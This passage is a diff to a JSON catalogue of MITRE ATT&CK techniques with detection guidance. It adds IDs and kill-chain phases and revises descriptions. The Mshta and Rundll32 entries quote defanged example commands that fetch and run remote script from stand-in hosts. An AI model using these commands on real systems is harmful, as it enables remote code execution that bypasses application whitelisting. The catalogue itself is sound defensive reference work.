+ "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
+ "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
+ "https://github.com/f0rb1dd3n/Reptile",
+ "https://github.com/m0nad/Diamorphine",
+ "http://www.megasecurity.org/papers/Rootkits.pdf",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
+ "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
+ "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
+ "https://en.wikipedia.org/wiki/Loadable%20kernel%20module#Linux",
+ "http://tldp.org/HOWTO/Module-HOWTO/x197.html"
+ ],
+ "external_id": "T1215",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
+ "mitre_data_sources": [
+ "System calls",
+ "Process Monitoring",
+ "Process command-line parameters"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "macOS"
+ ]
+ },
+ "uuid": "6be14413-578e-46c1-8304-310762b3ecd5"
+ },
+ {
+ "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify service values in the Registry\n\nContributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire",
"value": "Service Registry Permissions Weakness - T1058",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1058",
"https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://twitter.com/r0wdy%20/status/936365549553991680"
+ ],
+ "external_id": "T1058",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process command-line parameters",
@@ -3060,7 +4385,7 @@
"uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427"
},
{
- "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, @yeyint_mth",
+ "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
"value": "Mshta - T1170",
"meta": {
"refs": [
@@ -3072,6 +4397,11 @@
"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
],
+ "external_id": "T1170",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
@@ -3095,6 +4425,10 @@
"http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx",
"http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx"
],
+ "external_id": "T1077",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Process use of network",
"Authentication logs",
@@ -3108,12 +4442,17 @@
"uuid": "ffe742ed-9100-4686-9e00-c331da544787"
},
{
- "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
+ "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.\n\nDetection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Praetorian",
"value": "Winlogon Helper DLL - T1004",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1004",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
+ ],
+ "external_id": "T1004",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
],
"mitre_data_sources": [
"Windows Registry",
@@ -3135,6 +4474,11 @@
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
],
+ "external_id": "T1157",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring"
],
@@ -3151,6 +4495,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1021"
],
+ "external_id": "T1021",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Authentication logs"
],
@@ -3172,6 +4520,11 @@
"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
],
+ "external_id": "T1015",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Windows Registry",
"File monitoring",
@@ -3184,11 +4537,16 @@
"uuid": "9b99b83a-1aac-4e29-b975-b374950551a3"
},
{
- "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions",
+ "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nPermissions Required: User\n\nSystem Requirements: Access to shared folders and content with write permissions\n\nContributors: David Routin",
"value": "Taint Shared Content - T1080",
"meta": {
"refs": [
- "https://attack.mitre.org/wiki/Technique/T1080"
+ "https://attack.mitre.org/wiki/Technique/T1080",
+ "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
+ ],
+ "external_id": "T1080",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
],
"mitre_data_sources": [
"File monitoring",
@@ -3200,6 +4558,34 @@
},
"uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c"
},
+ {
+ "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components: \n\nMultiple ways of delivering exploit code to a browser exist, including:\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n# A user visits a website that is used to host the adversary controlled content.\n# Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n#* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n# Upon finding a vulnerable version, exploit code is delivered to the browser.\n# If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n#* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nDetection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection\n\nPermissions Required: User",
+ "value": "Drive-by Compromise - T1189",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1189",
+ "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
+ ],
+ "external_id": "T1189",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "Packet capture",
+ "Network device logs",
+ "Process use of network",
+ "Web proxy",
+ "Network intrusion detection system",
+ "SSL/TLS inspection"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6"
+ },
{
"description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire",
"value": "External Remote Services - T1133",
@@ -3208,6 +4594,10 @@
"https://attack.mitre.org/wiki/Technique/T1133",
"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
],
+ "external_id": "T1133",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Authentication logs"
],
@@ -3224,6 +4614,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1017"
],
+ "external_id": "T1017",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process use of network",
@@ -3258,6 +4652,12 @@
"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
],
+ "external_id": "T1179",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access",
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"API monitoring",
"Binary file metadata",
@@ -3272,6 +4672,26 @@
},
"uuid": "66f73398-8394-4711-85e5-34c8540b22a5"
},
+ {
+ "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomlished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nDetection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nPlatforms: Linux, macOS\n\nPermissions Required: User",
+ "value": "Port Knocking - T1205",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1205"
+ ],
+ "external_id": "T1205",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control",
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "macOS"
+ ]
+ },
+ "uuid": "451a9977-d255-43c9-b431-66de80130c8c"
+ },
{
"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
"value": "Automated Collection - T1119",
@@ -3279,6 +4699,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1119"
],
+ "external_id": "T1119",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -3301,6 +4725,10 @@
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://technet.microsoft.com/en-us/library/dn408187.aspx"
],
+ "external_id": "T1101",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"DLL monitoring",
"Windows Registry",
@@ -3320,6 +4748,10 @@
"https://attack.mitre.org/wiki/Technique/T1169",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
],
+ "external_id": "T1169",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring"
],
@@ -3344,6 +4776,10 @@
"https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
],
+ "external_id": "T1137",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters",
@@ -3357,12 +4793,18 @@
"uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53"
},
{
- "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias",
+ "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Casey Smith",
"value": "Rundll32 - T1085",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1085",
- "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
+ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
+ "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
+ ],
+ "external_id": "T1085",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
],
"mitre_data_sources": [
"File monitoring",
@@ -3383,6 +4825,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1040"
],
+ "external_id": "T1040",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"Network device logs",
"Host network interface",
@@ -3406,6 +4852,11 @@
"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
],
+ "external_id": "T1013",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"API monitoring",
@@ -3420,7 +4871,7 @@
"uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125"
},
{
- "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may would prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
+ "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
"value": "Browser Extensions - T1176",
"meta": {
"refs": [
@@ -3432,7 +4883,12 @@
"https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
"https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
"https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
- "https://kjaer.io/extension-malware/"
+ "https://kjaer.io/extension-malware/",
+ "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
+ ],
+ "external_id": "T1176",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
],
"mitre_data_sources": [
"Network protocol analysis",
@@ -3451,13 +4907,45 @@
